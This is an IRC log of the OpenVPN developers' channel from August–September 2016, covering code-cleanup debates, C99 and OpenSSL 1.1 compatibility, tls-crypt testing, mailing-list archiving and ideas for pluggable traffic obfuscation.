14:57 <@dazo> yeah, true ... and he is behind the interactive service 14:57 < kettlecalling> ok :) thanks 14:58 * kettlecalling knows who ender is ;) 14:58 * dazo too :-P 14:58 <@cron2> dazo: you're changing stuff just for the sake of changing it - it's not making the code more correct, or truly more readable, or more efficient 14:58 <@dazo> getting rid of duplicity and useless wrapping is in my point of view making the code easier to read 15:00 <@dazo> I actually had to dig into the code to see what the difference between proto_is_udp() and proto_is_dgram() was ... and then what the heck was link_socket_proto_connection_oriented()? 15:00 <@cron2> I would agree to changing link_socket_proto_connection_oriented() to proto_is_stream() (and said so) 15:01 <@cron2> but I do not agree to making it all "!proto_is_udp()", because we do not care whether it is "not UDP", but "is it a stream transport" 15:01 <@cron2> (which is the same thing today, code-wise, but is a different question asked) 15:01 <@cron2> for a networking person, "dgram" and "stream" is well-defined, and larger than "UDP and TCP" 15:02 <@dazo> fair enough ... proto_is_dgram() is a better name, I concur 15:02 <@cron2> and in the abstract code, we really shouldn't care what dgram/stream protocol is used below 15:02 <@cron2> I totally agree that "the thing with the long name" hurts the eyes :) 15:05 <@cron2> btw, what happened to your patchset v5? 15:05 <@cron2> there was the title mail today, with "v5" in the body, but "v4.1" in the subject, but I saw no actual patch set 15:05 <@dazo> oh!? 15:06 <@cron2> Date: Fri, 26 Aug 2016 19:48:52 +0200 15:06 <@cron2> From: David Sommerseth <davids@openvpn.net> 15:06 <@cron2> To: openvpn-devel@lists.sourceforge.net 15:06 <@cron2> Subject: [Openvpn-devel] [PATCH v4.1 1/4] Rework the user input interface to 15:06 <@cron2> ... 15:06 <@dazo> yeah, I know 15:06 <@cron2> and that's all... 15:06 <@cron2> [v5 - Ensure password prompt is only displayed if we should read 15:06 <@cron2> from stdin ] 15:06 <@dazo> https://paste.fedoraproject.org/414693/41928147/raw/ ... that's what I received on my side 15:08 <@cron2> ah, the patch is *inside* 15:08 <@dazo> it should be :) 15:08 <@cron2> ok, I thought you sent a complete new series (which mas missing), but yeah, I see it now 15:09 <@dazo> no, I sent just that one as the few things Selva pointed out was really minimal 15:09 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:10 <@dazo> He did spot a real bug though, so I'm grateful for his look at it 15:10 <@cron2> yeah, Selva keeps amazing me :) 15:15 <@cron2> (it's a shame he has no time to come to Helsinki) 16:55 < kettlecalling> classic: http://cr.yp.to/djbdns/ipv6mess.html 16:56 < kettlecalling> I was once asked to produce a security review of Windows 3 .. my conclusion was "don't use Windows" .. it was vad advise but still true ;) 16:56 < kettlecalling> bad* 16:58 < kettlecalling> I believe it was MacAfee who lifted the £2m cheque to provide ongoing security one Black Friday .. and by Monday they had upped sticks and left the country :D 17:31 <+krzee> kettlecalling: sounds like good advice to me lol 20:43 < kettlecalling> krzee: this was back in the days of TSRs ;) 20:44 < kettlecalling> DOS TSRs 20:45 < kettlecalling> My exposure to C was .. it a letter ? :D 20:45 < kettlecalling> well not quite 20:46 * kettlecalling is far away --- Log closed Sat Aug 27 02:11:17 2016 --- Log opened Sat Aug 27 02:11:27 2016 02:11 -!- Irssi: #openvpn-devel: Total of 27 nicks [9 ops, 0 halfops, 1 voices, 17 normal] 02:11 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 02:12 -!- Irssi: Join to #openvpn-devel was synced in 66 secs 22:23 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 250 seconds] 22:25 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 22:25 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Sun Aug 28 2016 13:22 <@syzzer> dazo: I was about to reply something similar to the cleanup patch as cron2 did. The code begs for cleanup, but I don't think the !proto_is_udp() is helping with readability. 13:26 <@syzzer> (and if I may be really pedantic, I think we should aim to use function names that describe what we want to know, to make the code more self-explanatory. Even if that means more wrappers. I.e. some of the code might want to know 'is this datagram-based?', but some other code might actually want to know 'is this UDP?'. But that's really nitpicking, so feel free to ignore this rambling ;) ) 15:59 <@syzzer> hrmpf, my c99 patch actually breaks the binary, because syshead.h now thinks we're in pedantic mode... patch v2 upcoming 16:00 <@cron2> haha :) 16:00 <@syzzer> (weird syzzer, expecting this to work if it compiles...) 16:00 <@cron2> (I'm not really sure what is wrong with --pedantic and syshead.h - seems "some older compiler" miscompiled our stuff, but I do not really see why this would still be so...) 16:01 <@cron2> speaking about weird syzzer changes, I've been thinking about about msg() and efficiency, and wonder about something 16:01 <@cron2> code like this: 16:01 <@syzzer> "#ifdef __STRICT_ANSI__ #define PEDANTIC" 16:01 <@cron2> msg( M_WARN, "some message: %s", expensive_function(&gc)); 16:02 <@cron2> if msg() is a *macro*, I think expensive_function() will not be called 16:02 <@cron2> if msg() is a *function*, it *will* be called (because the caller has no idea that msg() won't do anything) 16:03 <@cron2> how smart are compilers if it's an inline function? (And: are compilers allowed at all to "not call expensive_function()" in that case? It might have side effects...) 16:03 <@syzzer> well, inline function *might* do the trick 16:03 <@syzzer> but a very good question 16:04 <@syzzer> can't say from the top of my head, but it might indeed be that the compiler is no longer allowed to optimize it away 16:04 <@cron2> somewhere in the AEAD crypto functions, we have a debug msg() which is calling some sort of "format this thing" helper... let me see if I can find it 16:05 <@syzzer> msg() is now macro, that call msg_test() first, so at least for now we should be fine 16:05 <@cron2> oh, it is? I thought we changed that to inline 16:05 <@syzzer> no, we just changed msg_test() to inline 16:06 <@cron2> aah 16:06 <@cron2> that's the trick 16:06 <@cron2> perfect :) 16:07 <@cron2> (just for reference - crypto.c, openvpn_encrypt_aead(), the ... "ENCRYPT IV: %s", format_hex()... bit is what got me thinking 16:07 <@syzzer> yes, the crypto code does that a lot 16:07 <@cron2> but with (d)msg() still being a macro, all is good :-) 16:07 <@syzzer> still costs a few cycles, but probably negligible 16:08 <@cron2> well, hopefully just a single integer compare/branch, and that is much better than calling format_hex() and then ignoring the result 16:09 <@syzzer> yes, most definitely 16:09 <@cron2> good :-) - then I can now go to bed and sleep well ;-) 16:09 <@cron2> tomorrow, visit venice 16:09 <@syzzer> nice, have fun! 16:09 <@cron2> thanks! 16:49 < valdikss> cron2: mattock: https://github.com/OpenVPN/openvpn-gui/pull/76 16:49 <@vpnHelper> Title: Functionality to import configuration file from the command line by ValdikSS · Pull Request #76 · OpenVPN/openvpn-gui · GitHub (at github.com) 17:12 <@syzzer> dazo: one of the reasons for the c99 patch is that that will allow me to send a nicer cleanup-patch for the cert_hash_remember() function, btw 17:14 < Thermi> y u no use latest C version? 17:15 < Thermi> und: y u no rewrite in Go? (Okay, I was trolling with that.) --- Log closed Sun Aug 28 17:27:11 2016 --- Log opened Mon Aug 29 07:58:40 2016 07:58 -!- Irssi: #openvpn-devel: Total of 27 nicks [8 ops, 0 halfops, 1 voices, 18 normal] 07:58 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:58 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 08:01 <@plaisthos> network! :) 08:01 <@plaisthos> even with the emulate e1000 the os x machine gets 700 MBit/s 08:01 <@plaisthos> that should be enough 08:34 <@dazo> :) 08:41 <@plaisthos> cron2: just tell me what I have to do to prepare that box as build slave 08:43 <@mattock> plaisthos: re: link in HelsinkiHackathon2016 page: indeed - Google Maps has a bad tendency to show the swedish street names (here: Märaholmsgatan 7) instead of the Finnish ones (Tammasaarenkatu 7) 08:43 <@mattock> the link is also localized in Russian, which is probably because Lev's system speaks russian 08:43 <@plaisthos> Okay, that is an answer I would not expected 08:44 <@plaisthos> that hte streets have two different names 08:44 <@plaisthos> but then again Brussels has the same "feature" 08:44 <@mattock> yeah 08:44 <@mattock> what does this link look like on your system: https://www.google.fi/maps/place/Tammasaarenkatu+7,+00180+Helsinki/@60.1615776,24.904545,17z/data=!3m1!4b1!4m5!3m4!1s0x46920a4f30181845:0x49f2c671fe3f120b!8m2!3d60.1615749!4d24.9067337 08:45 <@mattock> what language does it speak, and what street name is there? 08:45 <@plaisthos> that links turns out to be German and using the Tamma... 08:46 <@mattock> ok, so that is not localized, good 08:46 <@mattock> I'll use that link instead of the old one, and try to create a separate link for the "metro -> office" directions 08:49 <@mattock> plaisthos: does this page speak German also: https://www.google.fi/maps/dir/Ruoholahden+metroasema,+Helsinki/Tammasaarenkatu+7,+00180+Helsinki/@60.1626167,24.9102654,17z/data=!4m14!4m13!1m5!1m1!1s0x46920a496884d6eb:0xa732d2873ace2091!2m2!1d24.9138961!2d60.1632683!1m5!1m1!1s0x46920a4f30181845:0x49f2c671fe3f120b!2m2!1d24.9067337!2d60.1615749!3e2 08:53 <@d12fk> for me both are in finnish 08:53 <@ecrist> I can't read either one, so both are in !english 08:56 <@plaisthos> for me it turns out German too 08:56 <@plaisthos> maybe because I am logged in 08:56 <@plaisthos> but lev's link is Russian for me 09:02 <@mattock> ok, it seems that the default language is encoded into the URL instead of Google Maps using the browser language as default 09:02 <@mattock> silly 09:03 <@mattock> this should be in english: https://www.google.fi/maps/dir/Ruoholahden+metroasema,+Helsinki/Tammasaarenkatu+7,+00180+Helsinki/@60.1624378,24.9059524,16z/data=!3m1!4b1!4m14!4m13!1m5!1m1!1s0x46920a496884d6eb:0xa732d2873ace2091!2m2!1d24.9138961!2d60.1632683!1m5!1m1!1s0x46920a4f30181845:0x49f2c671fe3f120b!2m2!1d24.9067337!2d60.1615749!3e2?hl=en 13:34 <@cron2> re 13:45 <@cron2> plaisthos: oh, wow, that is amazing \o/ - it's somewhere on my todo list (like, buy vmware fusion for $wife's mac and run the buildbot in there...) but if you have it working, much better 13:47 <@cron2> plaisthos: my last buildslave was installed quite a while ago, but I followed mattock's instructions here: http://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 13:47 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 15:05 <@plaisthos> cron2: will look at it when time permits 15:05 <@plaisthos> cron2: you can actually get os x running on kvm 15:06 * cron2 only has ESX around for "proper" virtualization (like, in our datacenter, not @home on my desk...) - and vmware explicitely disallows OSX unless running on Apple hardware 15:07 <@cron2> what did you use? 15:08 <@plaisthos> lets assume the linux runs on a mac :) 15:09 <@plaisthos> http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/ 15:09 <@vpnHelper> Title: Running Mac OS X as a QEMU/KVM Guest (at www.contrib.andrew.cmu.edu) 15:10 <@cron2> hrmph... I've toyed with the idea of running a linux VM inside ESX, and use that to run a few KVM instances before... (like, to get a Linux/Sparc system for testing) 15:11 <@cron2> I don't want that stuff to run @home, if i have a nice an shiny vmware cluster I can use... 15:14 <@plaisthos> kvm also runs better on bare metal 15:14 <@plaisthos> nested hypervisor usually are not that great 15:15 <@cron2> I'm aware of that, and not exactly happy with the options - the alternative is "find a machine that nobody else wants, and get SpaceNet to sponsor rack space and power to make it a KVM host for OpenVPN" 15:15 <@cron2> (which is more complicated than just "spin up a new VM") 15:21 <@plaisthos> I have no idea how good sparce meulation in qemu really is 15:22 <@cron2> "workable but slow" (but usually still faster than a real sparc32 machine :) ) 15:22 <@plaisthos> lol 15:23 <@cron2> a 40 MHz 32bit CPU used to be amazingly fast... 25+ years ago :) 15:25 <@cron2> (and like 64 MB RAM) 15:32 <@dazo> Except for the detail that sparc helps us discover obscure bugs in the code .... does anyone actually run sparc in production these days? 15:33 <@cron2> sparc/32, maybe not :) 15:33 <@dazo> :) 15:33 <@cron2> sparc/64 - yes, I do. With FreeBSD, as my "exposed host" (mail+web) - because nobody bothers to script-kiddie *that* 15:34 <@cron2> linux has become a too-widespread target 15:34 <@dazo> lol ... that's a reasonable argument :) 15:34 <@cron2> diversity is good :) (of course, "never install any update, because you're safe!" is a bad strategy still :) ) 15:34 <@cron2> anyway... need to go to bed... *wave* 15:34 <@dazo> c'ya! 15:49 <@plaisthos> @dazo wtf @ c99 breakage 15:49 <@dazo> yeah, that exploded in unexpected ways 15:51 * dazo runs some more tests just to try out a few other standards, to see what happens 15:58 <@dazo> hmmm .... -std=c89 doesn't even compile, but that's related to our shipped LZ4 library 15:59 <@dazo> -std=gnu89 works, which should be the default regardless 15:59 <@dazo> -std=gnu99 builds though 19:00 <+krzee> i just had an idea that i think could be pretty cool... i remember when we talked about the XOR patch and /part/ of the reason we didnt want to include OBFS type stuff was that it would need constant updating as restrictive firewalls update against it... the constant game of cat + mouse 19:00 <+krzee> but what if the data that got XOR'ed wasnt static... users could generate an XOR stream and copy it over like we do with tls-auth files 19:01 <+krzee> is that a cool idea to others? 20:27 < kettlecalling> krzee: you mean like when you ask a user to use a srtong password ? 20:28 <+krzee> nah i mean like when a user generates his own tls-auth file 20:28 < kettlecalling> like a "double team" ? 20:28 <+krzee> but it would be an xor file instead of a hmac sig, so it would be impossible to defeat from a DPI perspective 20:29 < kettlecalling> ahh# 20:34 < kettlecalling> sounds like double PSK 20:53 <+krzee> nah kettlecalling it would just be for obfs like the current xor patch (it was already decided that obfs didnt belong in ovpn, but at least my vote that way was because its a constant game of cat+mouse that belongs in an app that specializes in it... but with that said if making the xor patch dynamic would be like a DPI endgame then i think maybe it could be worthy, not sure if anybody else would agree with that though 20:55 <+krzee> but i dont know it what im saying is even correct, im just throwing it out there and we'll see if it makes sense and if it even matters ;] 22:11 <+krzee> kettlecalling: now that i think about it you're right, that's essentially a psk --- Day changed Tue Aug 30 2016 02:14 <@syzzer> krzee: http://community.openvpn.net/openvpn/ticket/633 02:14 <@vpnHelper> Title: #633 (tls-enc - symmetric protection of TLS handshake) – OpenVPN Community (at community.openvpn.net) 02:15 <@syzzer> and: https://sourceforge.net/p/openvpn/mailman/message/35245890/ 02:15 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 02:41 <@dazo> krzee: What we rather want to see is a plug-in API for obfuscation ... this way people can swap out the obfuscation layer at runtime, write one being compatible with obfsproxy, have their own XOR/PSK based variant, make it look like ordinary https traffic or whatever people can imagine and manages to implement 02:41 <@dazo> krzee: and then the openvpn developers don't need to be bothered with maintaining these obfuscations, we can focus on the VPN itself 02:45 < Thermi> semi-meta question: to change out plugins, it has to be unloaded. Is that even possible? 02:46 < Thermi> at the end, it's an .so file that's mapped into memory. So I guess stop using it and unmap or something? 02:46 <@dazo> Thermi: what would be the benefit of that instead of just restarting the openvpn process? 02:48 < Thermi> dazo: I'd say it depends on the use case and how much functionality has to be implemented. If you just care about changing the obfuscation layer and not about any other thing (seamless transition of clients, ...) you could do that, yes. 02:50 <@dazo> ahh, you're thinking of the server side to avoid client interruptions? .... but that would be hard with obfuscation, as the OpenVPN would then have to have multiple obfuscation modules running at the same time to be able to support already connected clients 02:50 < Thermi> Yes, exactly. 02:51 < Thermi> it could just be a hashtable and the plugins implement an interface. 02:51 <@dazo> and to make that feasible, the wire protocol would need to have an ID for the obfuscation ... which again is something a DPI can detect ... 02:52 < Thermi> or a cryptografic signature over something 02:52 < Thermi> like a digest mechanism 02:52 < Thermi> (Instead of an ID) 02:52 < Thermi> MAC(psk+random) where psk is shared and random is given in the initial message or something 02:52 <@dazo> which anyway means you need to loop over all loaded obfuscation modules, which happens in a single threaded process .... which adds latencies whenever it needs to do this job 02:53 < Thermi> you could just do that for the first message from the client 02:53 < Thermi> if the client then wants to change the module, it has to restart. 02:53 < Thermi> s/module/obfuscation method/ 02:57 <@dazo> right ... but I'm still not convinced this is a clever solution ... when you add extra processing to detect something, that can be abused in DOS attacks ... and it adds more critical code paths which can be vulnerable to various crypto or overflow attacks. When you receive a packet of some unknown garbage, you don't know if it is a trusted client at that point, which means you spend quite some CPU cycles evaluating if this is something we 02:57 <@dazo> should process or not. And a little vulnerability in the MAC(psk+random), and the server can be exploited 02:58 < Thermi> I don't see a vuln in "cut out those x bytes and those y bytes, then MAC them" 02:58 <@dazo> of course, you have --tls-auth which can help reduce that ... but you can't add on an obfuscated packet, as that is again a signature to look for by DPIs 02:59 < Thermi> The MAC wouldn't even by cryptographically secure. The only purpose for that is to avoid a signature in the file 02:59 < Thermi> so you can actually implement it to be really fast 03:00 <@dazo> anyhow ... first step is to get a plug-in API in place and make it work with a single obfuscation module, which is still quite some work .... then we start thinking about more dynamic models 03:01 <@dazo> I also struggle to see how you would negotiate the random number ... as the obfuscation needs to obfuscate everything from the very first connection 03:01 <@dazo> it takes just a s single packet for a DPI to decide if it should allow this connection to happen or not 04:16 <@dazo> mattock: the mail you sent had the wrong From address for me as well .... 04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 05:55 <@mattock> dazo: ok, interesting bug in Thunderbird then 05:55 <@mattock> or maybe a feature, not sure 06:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:04 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:22 <@cron2> mornin' 07:24 <@dazo> g'afternoon ;-) 07:25 <@cron2> so what did you explode while I was sleeping? :) 07:25 <@dazo> hahaha 07:26 <@dazo> I was tried to ack the C99 patch from syzzer, but my testing was depressing on CentOS 5 :/ 07:26 <@dazo> s/was// 07:26 <@cron2> can it not do C99, or are *other* parts of the system not ready? 07:27 <@dazo> seems the gnu99 works, but not std C99 .... and it's the glibc libraries which causes the explosion 07:28 <@dazo> I've included the Fedora package maintainer into the ML discussions ... either we move forward, knowing CentOS 5 will break (but package maintainer "reverts" this in the .spec file) ... or we'll wait until end of March next year 07:28 <@dazo> (RHEL 5 EOL is end of March 2017) 07:29 <@cron2> gnu99 might cause hickups for people compiling with non-gcc (and non-clang), like the original Solaris compiler - which, unfortunately, I do not have access to 07:29 <@dazo> yupp! 07:29 <@dazo> gnu99 is not the proper solution for us 07:29 * cron2 wonders if there are still developer-programs from oracle (up-to-date OpenSolaris, with official C compiler) 07:30 <@cron2> yet another TODO for my list *sigh* 07:31 <@dazo> There's also something else regarding to how CFLAGS gets set in configure.ac ... with syzzer's patch, adding CFLAGS="-std=gnu89" on the ./configure command line ends up with "-std=gnu89 -std=c99 " when gcc is executed ... which right now works, gnu89 seems to override c99 ... but I do not like that 07:32 <@dazo> I think it should detect if -std= is set in CFLAGS before adding it 07:32 <@dazo> (in configure.ac, that is) 07:32 <@cron2> right, double -std is bad 07:34 <@dazo> haven't had time to dig through the other 300+ unread mails in my -devel inbox .... so no big surprises from me yet :) 07:35 <@cron2> *g* 07:35 <@dazo> mattock: btw ... mail-archive.com have accepted the announce and devel ML archives ... they said they'll try to import it during the weekend or so 07:36 <@dazo> I'll have a look at the users archive, I see that mail-archive.com goes back to 2013-ish (iirc) ... not sure if there's a benefit of going even older than that 07:36 <@dazo> Still haven't heard a thing from marc.info, though :/ 07:39 <@cron2> cool (mail-archive) 07:39 <@cron2> users is not that relevant, I'd say 07:40 <@dazo> my thoughts exactly .... even though mattock have already dumped the archive, so for us most of the job is already done 07:40 <@dazo> Are there other mail archives we should consider to register at? 07:41 * dazo wants to avoid the same issue as with gmane.org 08:20 <@dazo> mattock: ping? 08:23 <@mattock> dazo: I'm not aware of any others 08:25 <@plaisthos> does configure have a macro for I want to the right c99 arguments? 08:25 <@plaisthos> I know that you can tell cmake to use c++11/c99 09:06 <@ecrist> I'm planning on finding some way to reasonably archive our stuff ourselves, too. 09:06 <@ecrist> I haven't found a great solution yet, but have been looking. 09:09 <@dazo> ecrist: that'd be great! And if it would have a mid-lookup service, that'd be ideal for git commit logs 09:09 <@ecrist> what do you mean by mid-lookup? 09:09 <@dazo> So you can provide a Message-ID and get a URL to the mail discussion in return back 09:10 <@ecrist> oh, that's easy enough, even if we/I have to write it 09:10 <@dazo> For example, from the last commit 09:10 <@dazo> Message-Id: 1472162097-17855-1-git-send-email-davids@openvpn.net 09:10 <@dazo> URL: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg00125.html 09:10 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Fix client connection instant timeout (at www.mail-archive.com) 09:10 <@dazo> yeah, I don't think it's overly complicated ... it would just be nice if we had it :) 09:11 <@dazo> ecrist: but I will admit one thing ... what I loved about gmane, was their threaded view .... unfortunately, http://thread.gmane.org/ is gone so I can't show it to you 09:11 <@ecrist> we will have a threaded view, as well 09:12 <@ecrist> I remember their interface - I won't promise that 09:12 <@ecrist> it would be neat if they had made their source available. 09:12 <@dazo> ahh, a screenshot! https://lh3.googleusercontent.com/-3y9YfrkWs6o/Vv4lu7sBrDI/AAAAAAAAYpE/-RkRFwWVQbo8Z7P0QKjOo2KexJ959n3IQ/w640-h400-p-k/Bildschirmfoto%2Bvon%2B%25C2%25BB2016-04-01%2B09-34-31%25C2%25AB.png 09:12 <@dazo> ecrist: yeah ... Lars seems to be a reasonable guy, he might be willing to provide it if someone asks 09:12 <@dazo> (Lars is the guy who started it all) 09:13 <@dazo> https://lars.ingebrigtsen.no/2016/07/28/the-end-of-gmane/ 09:13 <@vpnHelper> Title: The End of Gmane? Random Thoughts (at lars.ingebrigtsen.no) 09:17 <@dazo> ecrist: https://github.com/larsmagne/weaverd ... this might be a starting point 09:17 <@vpnHelper> Title: GitHub - larsmagne/weaverd: Displaying mail/news threads on the web (at github.com) 09:18 <@ecrist> neat 09:18 <@ecrist> I'll look at modifying that to work with our lists 09:18 <@dazo> it's actually C code :) 09:19 <@ecrist> I'll probably leverage the forums server (we can create a CNAME that points to something useful) 09:19 <@dazo> cool! 09:19 <+krzee> syzzer: badass thanks for the link (love the idea!), and dazo thanks for the explanation (i had forgot about how it fit with the ovpn3 roadmap, pluggable *!) 09:20 <@dazo> krzee: much of this, according to James, should mostly be in place in the openvpn 3 code base ... but we need something in the meantime for openvpn 2 as well, somehow 11:13 <@ecrist> dazo: there isn't any talk of removing the port sharing from openvpn, is there? 11:14 <@ecrist> I'm looking to use it in a product that would be a pretty long-term deployment and we want to simplify some remote connectivity issues by leveraging the feature 12:00 <@plaisthos> currently not 12:00 <@plaisthos> there also standalone proxy project that do the same 12:03 <@dazo> ecrist: not which I'm aware of ... but if you want to be absolutely safe, you could look into haproxy and the "match" feature 12:04 <@plaisthos> I think James actually fixed a bug in the port share in master 12:05 <@plaisthos> and I made port-share working with ipv6 14:46 <@cron2> we have a few trac tickets regarding port-share, so there might still be some work needed - but AFAIR it's used in OpenVPN AS, so we're in deep trouble if we remove it :) 14:55 <@dazo> ahh, good point 14:57 <@dazo> hahaha, cron2! Good reply to mattock! :) 15:05 <@ecrist> cron2 / dazo - that's good to hear. If we elect to use it, we'll be stuck for at least a decade supporting it (at $work) so I'd prefer we keep it around. :) 15:05 <@cron2> oh, wow, a decade is long 15:05 <@ecrist> medical devices 15:06 <@ecrist> dev cycle is long, shelf life is long, field life can be *really* long 15:06 <@cron2> right 15:07 <@ecrist> new products are coming out that actually includes the ability to update in the field, but there are going to be a subset of devices that never get those updates 15:07 <@cron2> depending on region, updates might need re-certification, which is costly... so some vendors never update... 15:08 <@ecrist> yeah, the FDA in particular has shifted their view 15:08 <@cron2> oh? so now it's "no updates = no certification"? that would be good :) 15:08 <@ecrist> now updates that are security/stability related, as long as they don't significantly change the use or utility of a device are much easier 15:09 <@cron2> good 15:09 <@ecrist> in that case, they only require a relatively informal notice (similar for EU now) 15:14 * ecrist heads home 15:14 <@cron2> g'night :) --- Day changed Wed Aug 31 2016 01:22 < valdikss> https://www.schrauger.com/the-story-of-how-wosign-gave-me-an-ssl-certificate-for-github-com 01:22 <@vpnHelper> Title: The story of how WoSign gave me an SSL certificate for GitHub.com | Schrauger.com (at www.schrauger.com) 01:27 < Thermi> Time to kill CAs 01:28 < Thermi> Btw. Good morning. 03:09 <@plaisthos> Our world consits of Europe! 03:09 <@plaisthos> :) 03:59 <@dazo> Some nerdy crypto gadget for the geeks :) http://hiddn.no/cocrypt/ 03:59 <@vpnHelper> Title: Hiddn coCrypt - Hiddn Security AS (at hiddn.no) 08:14 <@cron2> mornin 08:22 <@plaisthos> morning 09:37 <@mattock> I guess it is morning somewhere... 09:58 <+krzee> (here) --- Day changed Thu Sep 01 2016 01:19 < Thermi> Curious. The TAP driver delivers mangled packets via the handle, if it's DHCP 01:19 < Thermi> It's one of the WAT moments 11:16 <@syzzer> [==========] 7 test(s) run. 11:16 <@syzzer> [ PASSED ] 7 test(s). 11:16 <@syzzer> PASS: test_tlscrypt 11:16 <@syzzer> \o/ 11:17 <@syzzer> time to get groceries now :p 12:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:01 <+krzee> tlscrypt... isnt that the statickey after keyx? 14:11 <@syzzer> krzee: I'm not sure I follow... 14:11 <@syzzer> it's the feature I linked to a couple of days ago 14:31 <+krzee> awesome! 14:32 <+krzee> im excited about that one 14:34 <@syzzer> don't get too excited yet - this needs thorough review and testing so will take some time before it will get into master most likely ;) 14:35 <@syzzer> but I guess we have a testing volunteer then 15:02 <+krzee> sure id be happy to test 15:15 <@cron2> syzzer: I'm not sure I like your "cleanup msg_test()" patch... while it does reduce code duplication, it adds the sort of "call yet another function to do very basic stuff" chain that dazo is trying to get rid of at the same time 15:16 <@cron2> (code-wise it's good, it's just a stylistic thing) 15:17 <@syzzer> cron2: we'll let dazo decide then ;) 15:17 <@syzzer> I don't care much, but for what it's worth, this is different in the sense that it's not just a plain wrapper 15:18 <@cron2> right 15:18 <@syzzer> if the function names are chosen well, that should improve the readibility of the code 15:19 <@cron2> you have a point here 15:20 * cron2 needs to mull this over a bit more, but won't NAK it in any case 15:22 <@syzzer> btw, the "PASS: test_tlscrypt" above is not just nice because tls-crypt 'works', but also because I can now actually write unit tests for stuff in src/openvpn :D 15:22 <@cron2> that sounds like quite a big chunk of patch :) - but great! 15:24 <@syzzer> [PATCH 7/7] Add --tls-crypt unit tests: 6 files changed, 394 insertions(+), 1 deletion(-) 15:24 <@syzzer> not as bad as I expected 15:26 <@cron2> indeed 15:26 <@syzzer> complete patch set is 19 files changed, 970 insertions(+), 108 deletions(-) 18:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:57 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] --- Day changed Fri Sep 02 2016 01:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:28 <@cron2> mornin' 07:49 <@plaisthos> morning 09:08 <+krzee> moin moin 13:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:05 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:50 <@vpnHelper> RSS Update - tickets: #729: iOS OpenVPN connect bug <https://community.openvpn.net/openvpn/ticket/729> --- Log closed Sat Sep 03 02:41:14 2016 --- Log opened Sat Sep 03 22:24:03 2016 22:24 -!- Irssi: #openvpn-devel: Total of 26 nicks [8 ops, 0 halfops, 1 voices, 17 normal] 22:24 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 22:24 -!- Irssi: Join to #openvpn-devel was synced in 9 secs --- Day changed Sun Sep 04 2016 04:03 <@cron2> mornin 04:03 <@cron2> ... in the car, homeward bound... --- Day changed Mon Sep 05 2016 02:04 <@cron2> mornin' again 04:49 <@dazo> Some cool gdb tricks here: https://www.youtube.com/watch?v=PorfLSr3DDI 04:59 * cron2 needs to look :-) - last time I looked at "symbolic debugger" features in earnest was like 20 years ago, and since then I just used what I learned then - breakpoint, single-step, next-line, stack trace, print 05:00 <@cron2> (most bugs I get to search do not show up on *my* machine anyway, so logfiles! are my gdb :) ) 05:05 <@plaisthos> too bad I have lldb now :/ 05:06 <@cron2> so what's the major improvement of that? 05:09 <@plaisthos> cron2: apple removed gcc/gdb for a few years now 05:09 <@plaisthos> so now you have clang/lldb 05:12 <@cron2> well, yes, but is lldb significantly different wrt user interface/features to gdb, or just "a different code base"? 05:14 <@plaisthos> different :/ 05:14 <@plaisthos> http://lldb.llvm.org/lldb-gdb.html 05:14 <@vpnHelper> Title: LLDB to GDB Command Map (at lldb.llvm.org) 05:14 <@plaisthos> that is the command mapping just for the basic commands 05:21 <@cron2> well, lldb seems to grok most of the gdb short-form commands, so easy enough :) 07:26 <@plaisthos> OpenSSL 1.1 seems to be a major API revision 07:26 <@plaisthos> aka, a lot of software does not compile against it 07:26 <@plaisthos> when using internal APIs 07:26 <@plaisthos> I fear we fall into that category 07:28 <@syzzer> plaisthos: we definitely fall into that categoru 07:28 <@syzzer> I have an experimental branch with openssl 1.1 support, but that requires a *lot* of changes 07:29 <@syzzer> and it will be quite hard/ugly to support both 0.x/1.0.x and 1.1.x :( 07:30 <@syzzer> they made a lot structs opaque, and require you to use accessors that are not available in 0.x/1.0.x... 07:35 <@plaisthos> so basically they did not give you the new apis in 1.0.x to make life easy 07:35 <@plaisthos> are the new accessor just wrappers? 07:35 <@plaisthos> so we can do a compat_openssl_1.0.x.c? 07:35 <@syzzer> mostly 07:36 <@syzzer> so yes, we have to add our own wrappers 07:37 <@syzzer> but we also have to change our internals 07:37 <@syzzer> some structs are now part of our own structs. We'll have to change that to pointers-to-structs, and make sure to do all the requires malloc-and-free properly 07:38 <@syzzer> ... which can be quite a pain in our code base 07:38 <@plaisthos> yeah ... 07:38 <@plaisthos> I hate gc_malloc 07:52 <@plaisthos> (and the standard c malloc too) 09:11 <@dazo> plaisthos: iirc, it is only the z-version which keeps the API ... x.y versions updates API 09:11 <@dazo> (openssl that is) 09:13 <@dazo> Regarding compatibility ... for 2.4, we will need to support 0.9.8 (RHEL5) ... unless we postpone 2.4 until EOL of RHEL5 .... for RHEL6 we can move to 1.0.1 09:13 <@dazo> syzzer: plaisthos: ^^^ 09:13 <@dazo> openssl-1.0.1e-48 (RHEL6) openssl-1.0.1e-51 (RHEL7) 09:17 